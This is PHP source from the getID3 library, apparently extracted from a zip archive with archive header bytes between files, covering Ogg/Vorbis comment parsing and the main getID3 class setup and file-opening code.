		$oggheader['page_segments']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['page_length'] = 0;
		for ($i = 0; $i < $oggheader['page_segments']; $i++) {
			$oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
			$filedataoffset += 1;
			$oggheader['page_length'] += $oggheader['segment_table'][$i];
		}
		$oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset;
		$oggheader['page_end_offset']   = $oggheader['header_end_offset'] + $oggheader['page_length'];
		$this->fseek($oggheader['header_end_offset']);

		return $oggheader;
	}

	/**
	 * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005
	 *
	 * @return bool
	 */
	public function ParseVorbisComments() {
		$info = &$this->getid3->info;

		$OriginalOffset = $this->ftell();
		$commentdata = null;
		$commentdataoffset = 0;
		$VorbisCommentPage = 1;
		$CommentStartOffset = 0;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
			case 'speex':
			case 'opus':
				$CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset'];  // Second Ogg page, after header block
				$this->fseek($CommentStartOffset);
				$commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments'];
				$commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset);

				if ($info['audio']['dataformat'] == 'vorbis') {
					$commentdataoffset += (strlen('vorbis') + 1);
				}
				else if ($info['audio']['dataformat'] == 'opus') {
					$commentdataoffset += strlen('OpusTags');
				}

				break;

			case 'flac':
				$CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4;
				$this->fseek($CommentStartOffset);
				$commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']);
				break;

			default:
				return false;
		}

		$VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;

		$info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize);
		$commentdataoffset += $VendorSize;

		$CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;
		$info['avdataoffset'] = $CommentStartOffset + $commentdataoffset;

		$basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT');
		$ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw'];
		for ($i = 0; $i < $CommentsCount; $i++) {

			if ($i >= 10000) {
				// https://github.com/owncloud/music/issues/212#issuecomment-43082336
				$this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments');
				break;
			}

			$ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset;

			if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) {
				if ($oggpageinfo = $this->ParseOggPageHeader()) {
					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

					$VorbisCommentPage++;

					// First, save what we haven't read yet
					$AsYetUnusedData = substr($commentdata, $commentdataoffset);

					// Then take that data off the end
					$commentdata     = substr($commentdata, 0, $commentdataoffset);

					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

					// Finally, stick the unused data back on the end
					$commentdata .= $AsYetUnusedData;

					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
					$commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1));
				}

			}
			$ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));

			// replace avdataoffset with position just after the last vorbiscomment
			$info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4;

			$commentdataoffset += 4;
			while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) {
				if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) {
					$this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments');
					break 2;
				}

				$VorbisCommentPage++;

				if ($oggpageinfo = $this->ParseOggPageHeader()) {
					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

					// First, save what we haven't read yet
					$AsYetUnusedData = substr($commentdata, $commentdataoffset);

					// Then take that data off the end
					$commentdata     = substr($commentdata, 0, $commentdataoffset);

					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

					// Finally, stick the unused data back on the end
					$commentdata .= $AsYetUnusedData;

					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
					if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) {
						$this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
						break;
					}
					$readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1);
					if ($readlength <= 0) {
						$this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
						break;
					}
					$commentdata .= $this->fread($readlength);

					//$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset'];
				} else {
					$this->warning('failed to ParseOggPageHeader() at offset '.$this->ftell());
					break;
				}
			}
			$ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset;
			$commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']);
			$commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size'];

			if (!$commentstring) {

				// no comment?
				$this->warning('Blank Ogg comment ['.$i.']');

			} elseif (strstr($commentstring, '=')) {

				$commentexploded = explode('=', $commentstring, 2);
				$ThisFileInfo_ogg_comments_raw[$i]['key']   = strtoupper($commentexploded[0]);
				$ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : '');

				if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') {

					// http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE
					// The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard.
					// http://flac.sourceforge.net/format.html#metadata_block_picture
					$flac = new getid3_flac($this->getid3);
					$flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']));
					$flac->parsePICTURE();
					$info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0];
					unset($flac);

				} elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') {

					$data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']);
					$this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure');
					/** @todo use 'coverartmime' where available */
					$imageinfo = getid3_lib::GetDataImageSize($data);
					if ($imageinfo === false || !isset($imageinfo['mime'])) {
						$this->warning('COVERART vorbiscomment tag contains invalid image');
						continue;
					}

					$ogg = new self($this->getid3);
					$ogg->setStringMode($data);
					$info['ogg']['comments']['picture'][] = array(
						'image_mime'   => $imageinfo['mime'],
						'datalength'   => strlen($data),
						'picturetype'  => 'cover art',
						'image_height' => $imageinfo['height'],
						'image_width'  => $imageinfo['width'],
						'data'         => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']),
					);
					unset($ogg);

				} else {

					$info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value'];

				}

			} else {

				$this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring);

			}
			unset($ThisFileInfo_ogg_comments_raw[$i]);
		}
		unset($ThisFileInfo_ogg_comments_raw);


		// Replay Gain Adjustment
		// http://privatewww.essex.ac.uk/~djmrob/replaygain/
		if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) {
			foreach ($info['ogg']['comments'] as $index => $commentvalue) {
				switch ($index) {
					case 'rg_audiophile':
					case 'replaygain_album_gain':
						$info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_radio':
					case 'replaygain_track_gain':
						$info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_album_peak':
						$info['replay_gain']['album']['peak'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_peak':
					case 'replaygain_track_peak':
						$info['replay_gain']['track']['peak'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_reference_loudness':
						$info['replay_gain']['reference_volume'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					default:
						// do nothing
						break;
				}
			}
		}

		$this->fseek($OriginalOffset);

		return true;
	}

	/**
	 * @param int $mode
	 *
	 * @return string|null
	 */
	public static function SpeexBandModeLookup($mode) {
		static $SpeexBandModeLookup = array();
		if (empty($SpeexBandModeLookup)) {
			$SpeexBandModeLookup[0] = 'narrow';
			$SpeexBandModeLookup[1] = 'wide';
			$SpeexBandModeLookup[2] = 'ultra-wide';
		}
		return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null);
	}

	/**
	 * @param array $OggInfoArray
	 * @param int   $SegmentNumber
	 *
	 * @return int
	 */
	public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) {
		$segmentlength = 0;
		for ($i = 0; $i < $SegmentNumber; $i++) {
			$segmentlength = 0;
			foreach ($OggInfoArray['segment_table'] as $key => $value) {
				$segmentlength += $value;
				if ($value < 255) {
					break;
				}
			}
		}
		return $segmentlength;
	}

	/**
	 * @param int $nominal_bitrate
	 *
	 * @return float
	 */
	public static function get_quality_from_nominal_bitrate($nominal_bitrate) {

		// decrease precision
		$nominal_bitrate = $nominal_bitrate / 1000;

		if ($nominal_bitrate < 128) {
			// q-1 to q4
			$qval = ($nominal_bitrate - 64) / 16;
		} elseif ($nominal_bitrate < 256) {
			// q4 to q8
			$qval = $nominal_bitrate / 32;
		} elseif ($nominal_bitrate < 320) {
			// q8 to q9
			$qval = ($nominal_bitrate + 256) / 64;
		} else {
			// q9 to q10
			$qval = ($nominal_bitrate + 1300) / 180;
		}
		//return $qval; // 5.031324
		//return intval($qval); // 5
		return round($qval, 1); // 5 or 4.9
	}

	/**
	 * @param int $colorspace_id
	 *
	 * @return string|null
	 */
	public static function TheoraColorSpace($colorspace_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.3)
		static $TheoraColorSpaceLookup = array();
		if (empty($TheoraColorSpaceLookup)) {
			$TheoraColorSpaceLookup[0] = 'Undefined';
			$TheoraColorSpaceLookup[1] = 'Rec. 470M';
			$TheoraColorSpaceLookup[2] = 'Rec. 470BG';
			$TheoraColorSpaceLookup[3] = 'Reserved';
		}
		return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null);
	}

	/**
	 * @param int $pixelformat_id
	 *
	 * @return string|null
	 */
	public static function TheoraPixelFormat($pixelformat_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.4)
		static $TheoraPixelFormatLookup = array();
		if (empty($TheoraPixelFormatLookup)) {
			$TheoraPixelFormatLookup[0] = '4:2:0';
			$TheoraPixelFormatLookup[1] = 'Reserved';
			$TheoraPixelFormatLookup[2] = '4:2:2';
			$TheoraPixelFormatLookup[3] = '4:4:4';
		}
		return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null);
	}

}
PKEWd[O!�d<d<
getid3.phpnu�[���<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//                                                             //
// Please see readme.txt for more information                  //
//                                                            ///
/////////////////////////////////////////////////////////////////

// define a constant rather than looking up every time it is needed
if (!defined('GETID3_OS_ISWINDOWS')) {
	define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0));
}
// Get base path of getID3() - ONCE
if (!defined('GETID3_INCLUDEPATH')) {
	define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
}
if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE
	define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8));
}

/*
https://www.getid3.org/phpBB3/viewtopic.php?t=2114
If you are running into a the problem where filenames with special characters are being handled
incorrectly by external helper programs (e.g. metaflac), notably with the special characters removed,
and you are passing in the filename in UTF8 (typically via a HTML form), try uncommenting this line:
*/
//setlocale(LC_CTYPE, 'en_US.UTF-8');

// attempt to define temp dir as something flexible but reliable
$temp_dir = ini_get('upload_tmp_dir');
if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) {
	$temp_dir = '';
}
if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1
	// sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts
	$temp_dir = sys_get_temp_dir();
}
$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10
$open_basedir = ini_get('open_basedir');
if ($open_basedir) {
	// e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/"
	$temp_dir     = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir);
	$open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir);
	if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) {
		$temp_dir .= DIRECTORY_SEPARATOR;
	}
	$found_valid_tempdir = false;
	$open_basedirs = explode(PATH_SEPARATOR, $open_basedir);
	foreach ($open_basedirs as $basedir) {
		if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) {
			$basedir .= DIRECTORY_SEPARATOR;
		}
		if (strpos($temp_dir, $basedir) === 0) {
			$found_valid_tempdir = true;
			break;
		}
	}
	if (!$found_valid_tempdir) {
		$temp_dir = '';
	}
	unset($open_basedirs, $found_valid_tempdir, $basedir);
}
if (!$temp_dir) {
	$temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir
}
// $temp_dir = '/something/else/';  // feel free to override temp dir here if it works better for your system
if (!defined('GETID3_TEMP_DIR')) {
	define('GETID3_TEMP_DIR', $temp_dir);
}
unset($open_basedir, $temp_dir);

// End: Defines


class getID3
{
	/*
	 * Settings
	 */

	/**
	 * CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples:  ISO-8859-1  UTF-8  UTF-16  UTF-16BE
	 *
	 * @var string
	 */
	public $encoding        = 'UTF-8';

	/**
	 * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252'
	 *
	 * @var string
	 */
	public $encoding_id3v1  = 'ISO-8859-1';

	/**
	 * ID3v1 should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'Windows-1251' or 'KOI8-R'. If true attempt to detect these encodings, but may return incorrect values for some tags actually in ISO-8859-1 encoding
	 *
	 * @var bool
	 */
	public $encoding_id3v1_autodetect  = false;

	/*
	 * Optional tag checks - disable for speed.
	 */

	/**
	 * Read and process ID3v1 tags
	 *
	 * @var bool
	 */
	public $option_tag_id3v1         = true;

	/**
	 * Read and process ID3v2 tags
	 *
	 * @var bool
	 */
	public $option_tag_id3v2         = true;

	/**
	 * Read and process Lyrics3 tags
	 *
	 * @var bool
	 */
	public $option_tag_lyrics3       = true;

	/**
	 * Read and process APE tags
	 *
	 * @var bool
	 */
	public $option_tag_apetag        = true;

	/**
	 * Copy tags to root key 'tags' and encode to $this->encoding
	 *
	 * @var bool
	 */
	public $option_tags_process      = true;

	/**
	 * Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities
	 *
	 * @var bool
	 */
	public $option_tags_html         = true;

	/*
	 * Optional tag/comment calculations
	 */

	/**
	 * Calculate additional info such as bitrate, channelmode etc
	 *
	 * @var bool
	 */
	public $option_extra_info        = true;

	/*
	 * Optional handling of embedded attachments (e.g. images)
	 */

	/**
	 * Defaults to true (ATTACHMENTS_INLINE) for backward compatibility
	 *
	 * @var bool|string
	 */
	public $option_save_attachments  = true;

	/*
	 * Optional calculations
	 */

	/**
	 * Get MD5 sum of data part - slow
	 *
	 * @var bool
	 */
	public $option_md5_data          = false;

	/**
	 * Use MD5 of source file if available - only FLAC and OptimFROG
	 *
	 * @var bool
	 */
	public $option_md5_data_source   = false;

	/**
	 * Get SHA1 sum of data part - slow
	 *
	 * @var bool
	 */
	public $option_sha1_data         = false;

	/**
	 * Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on
	 * PHP_INT_MAX)
	 *
	 * @var bool|null
	 */
	public $option_max_2gb_check;

	/**
	 * Read buffer size in bytes
	 *
	 * @var int
	 */
	public $option_fread_buffer_size = 32768;



	// module-specific options

	/** archive.rar
	 * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3)
	 *
	 * @var bool
	 */
	public $options_archive_rar_use_php_rar_extension = true;

	/** archive.gzip
	 * Optional file list - disable for speed.
	 * Decode gzipped files, if possible, and parse recursively (.tar.gz for example).
	 *
	 * @var bool
	 */
	public $options_archive_gzip_parse_contents = false;

	/** audio.midi
	 * if false only parse most basic information, much faster for some files but may be inaccurate
	 *
	 * @var bool
	 */
	public $options_audio_midi_scanwholefile = true;

	/** audio.mp3
	 * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow,
	 * unrecommended, but may provide data from otherwise-unusable files.
	 *
	 * @var bool
	 */
	public $options_audio_mp3_allow_bruteforce = false;

	/** audio.mp3
	 * number of frames to scan to determine if MPEG-audio sequence is valid
	 * Lower this number to 5-20 for faster scanning
	 * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams
	 *
	 * @var int
	 */
	public $options_audio_mp3_mp3_valid_check_frames = 50;

	/** audio.wavpack
	 * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK,
	 * significantly faster for very large files but other data may be missed
	 *
	 * @var bool
	 */
	public $options_audio_wavpack_quick_parsing = false;

	/** audio-video.flv
	 * Break out of the loop if too many frames have been scanned; only scan this
	 * many if meta frame does not contain useful duration.
	 *
	 * @var int
	 */
	public $options_audiovideo_flv_max_frames = 100000;

	/** audio-video.matroska
	 * If true, do not return information about CLUSTER chunks, since there's a lot of them
	 * and they're not usually useful [default: TRUE].
	 *
	 * @var bool
	 */
	public $options_audiovideo_matroska_hide_clusters    = true;

	/** audio-video.matroska
	 * True to parse the whole file, not only header [default: FALSE].
	 *
	 * @var bool
	 */
	public $options_audiovideo_matroska_parse_whole_file = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $options_audiovideo_quicktime_ReturnAtomData  = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $options_audiovideo_quicktime_ParseAllPossibleAtoms = false;

	/** audio-video.swf
	 * return all parsed tags if true, otherwise do not return tags not parsed by getID3
	 *
	 * @var bool
	 */
	public $options_audiovideo_swf_ReturnAllTagData = false;

	/** graphic.bmp
	 * return BMP palette
	 *
	 * @var bool
	 */
	public $options_graphic_bmp_ExtractPalette = false;

	/** graphic.bmp
	 * return image data
	 *
	 * @var bool
	 */
	public $options_graphic_bmp_ExtractData    = false;

	/** graphic.png
	 * If data chunk is larger than this do not read it completely (getID3 only needs the first
	 * few dozen bytes for parsing).
	 *
	 * @var int
	 */
	public $options_graphic_png_max_data_bytes = 10000000;

	/** misc.pdf
	 * return full details of PDF Cross-Reference Table (XREF)
	 *
	 * @var bool
	 */
	public $options_misc_pdf_returnXREF = false;

	/** misc.torrent
	 * Assume all .torrent files are less than 1MB and just read entire thing into memory for easy processing.
	 * Override this value if you need to process files larger than 1MB
	 *
	 * @var int
	 */
	public $options_misc_torrent_max_torrent_filesize = 1048576;



	// Public variables

	/**
	 * Filename of file being analysed.
	 *
	 * @var string
	 */
	public $filename;

	/**
	 * Filepointer to file being analysed.
	 *
	 * @var resource
	 */
	public $fp;

	/**
	 * Result array.
	 *
	 * @var array
	 */
	public $info;

	/**
	 * @var string
	 */
	public $tempdir = GETID3_TEMP_DIR;

	/**
	 * @var int
	 */
	public $memory_limit = 0;

	/**
	 * @var string
	 */
	protected $startup_error   = '';

	/**
	 * @var string
	 */
	protected $startup_warning = '';

	const VERSION           = '1.9.23-202310190849';
	const FREAD_BUFFER_SIZE = 32768;

	const ATTACHMENTS_NONE   = false;
	const ATTACHMENTS_INLINE = true;

	/**
	 * @throws getid3_exception
	 */
	public function __construct() {

		// Check for PHP version
		$required_php_version = '5.3.0';
		if (version_compare(PHP_VERSION, $required_php_version, '<')) {
			$this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n";
			return;
		}

		// Check memory
		$memoryLimit = ini_get('memory_limit');
		if (preg_match('#([0-9]+) ?M#i', $memoryLimit, $matches)) {
			// could be stored as "16M" rather than 16777216 for example
			$memoryLimit = $matches[1] * 1048576;
		} elseif (preg_match('#([0-9]+) ?G#i', $memoryLimit, $matches)) { // The 'G' modifier is available since PHP 5.1.0
			// could be stored as "2G" rather than 2147483648 for example
			$memoryLimit = $matches[1] * 1073741824;
		}
		$this->memory_limit = $memoryLimit;

		if ($this->memory_limit <= 0) {
			// memory limits probably disabled
		} elseif ($this->memory_limit <= 4194304) {
			$this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n";
		} elseif ($this->memory_limit <= 12582912) {
			$this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n";
		}

		// Check safe_mode off
		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved
			$this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.');
		}

		// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
		if (($mbstring_func_overload = (int) ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) {
			// http://php.net/manual/en/mbstring.overload.php
			// "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions"
			// getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those.
			// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			$this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n";
		}

		// check for magic quotes in PHP < 5.4.0 (when these options were removed and getters always return false)
		if (version_compare(PHP_VERSION, '5.4.0', '<')) {
			// Check for magic_quotes_runtime
			if (function_exists('get_magic_quotes_runtime')) {
				// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_runtimeDeprecated
				if (get_magic_quotes_runtime()) { // @phpstan-ignore-line
					$this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n";
				}
			}
			// Check for magic_quotes_gpc
			if (function_exists('get_magic_quotes_gpc')) {
				// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_gpcDeprecated
				if (get_magic_quotes_gpc()) { // @phpstan-ignore-line
					$this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n";
				}
			}
		}

		// Load support library
		if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) {
			$this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n";
		}

		if ($this->option_max_2gb_check === null) {
			$this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647);
		}


		// Needed for Windows only:
		// Define locations of helper applications for Shorten, VorbisComment, MetaFLAC
		//   as well as other helper functions such as head, etc
		// This path cannot contain spaces, but the below code will attempt to get the
		//   8.3-equivalent path automatically
		// IMPORTANT: This path must include the trailing slash
		if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) {

			$helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path

			if (!is_dir($helperappsdir)) {
				$this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n";
			} elseif (strpos(realpath($helperappsdir), ' ') !== false) {
				$DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir));
				$path_so_far = array();
				foreach ($DirPieces as $key => $value) {
					if (strpos($value, ' ') !== false) {
						if (!empty($path_so_far)) {
							$commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far));
							$dir_listing = `$commandline`;
							$lines = explode("\n", $dir_listing);
							foreach ($lines as $line) {
								$line = trim($line);
								if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(<DIR>|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) {
									list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches;
									if ((strtoupper($filesize) == '<DIR>') && (strtolower($filename) == strtolower($value))) {
										$value = $shortname;
									}
								}
							}
						} else {
							$this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n";
						}
					}
					$path_so_far[] = $value;
				}
				$helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far);
			}
			define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR);
		}

		if (!empty($this->startup_error)) {
			echo $this->startup_error;
			throw new getid3_exception($this->startup_error);
		}
	}

	/**
	 * @return string
	 */
	public function version() {
		return self::VERSION;
	}

	/**
	 * @return int
	 */
	public function fread_buffer_size() {
		return $this->option_fread_buffer_size;
	}

	/**
	 * @param array $optArray
	 *
	 * @return bool
	 */
	public function setOption($optArray) {
		if (!is_array($optArray) || empty($optArray)) {
			return false;
		}
		foreach ($optArray as $opt => $val) {
			if (isset($this->$opt) === false) {
				continue;
			}
			$this->$opt = $val;
		}
		return true;
	}

	/**
	 * @param string   $filename
	 * @param int      $filesize
	 * @param resource $fp
	 *
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function openfile($filename, $filesize=null, $fp=null) {
		try {
			if (!empty($this->startup_error)) {
				throw new getid3_exception($this->startup_error);
			}
			if (!empty($this->startup_warning)) {
				foreach (explode("\n", $this->startup_warning) as $startup_warning) {
					$this->warning($startup_warning);
				}
			}

			// init result array and set parameters
			$this->filename = $filename;
			$this->info = array();
			$this->info['GETID3_VERSION']   = $this->version();
			$this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false);

			// remote files not supported
			if (preg_match('#^(ht|f)tps?://#', $filename)) {
				throw new getid3_exception('Remote files are not supported - please copy the file locally first');
			}

			$filename = str_replace('/', DIRECTORY_SEPARATOR, $filename);
			//$filename = preg_replace('#(?<!gs:)('.preg_quote(DIRECTORY_SEPARATOR).'{2,})#', DIRECTORY_SEPARATOR, $filename);

			// open local file
			//if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720
			if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) {
				$this->fp = $fp;
			} elseif ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) {
				// great
			} else {
				$errormessagelist = array();
				if (!is_readable($filename)) {
					$errormessagelist[] = '!is_readable';
				}
				if (!is_file($filename)) {
					$errormessagelist[] = '!is_file';
				}
				if (!file_exists($filename)) {
					$errormessagelist[] = '!file_exists';
				}
				if (empty($errormessagelist)) {
					$errormessagelist[] = 'fopen failed';
				}
				throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')');
			}

			$this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename));
			// set redundant parameters - might be needed in some include file
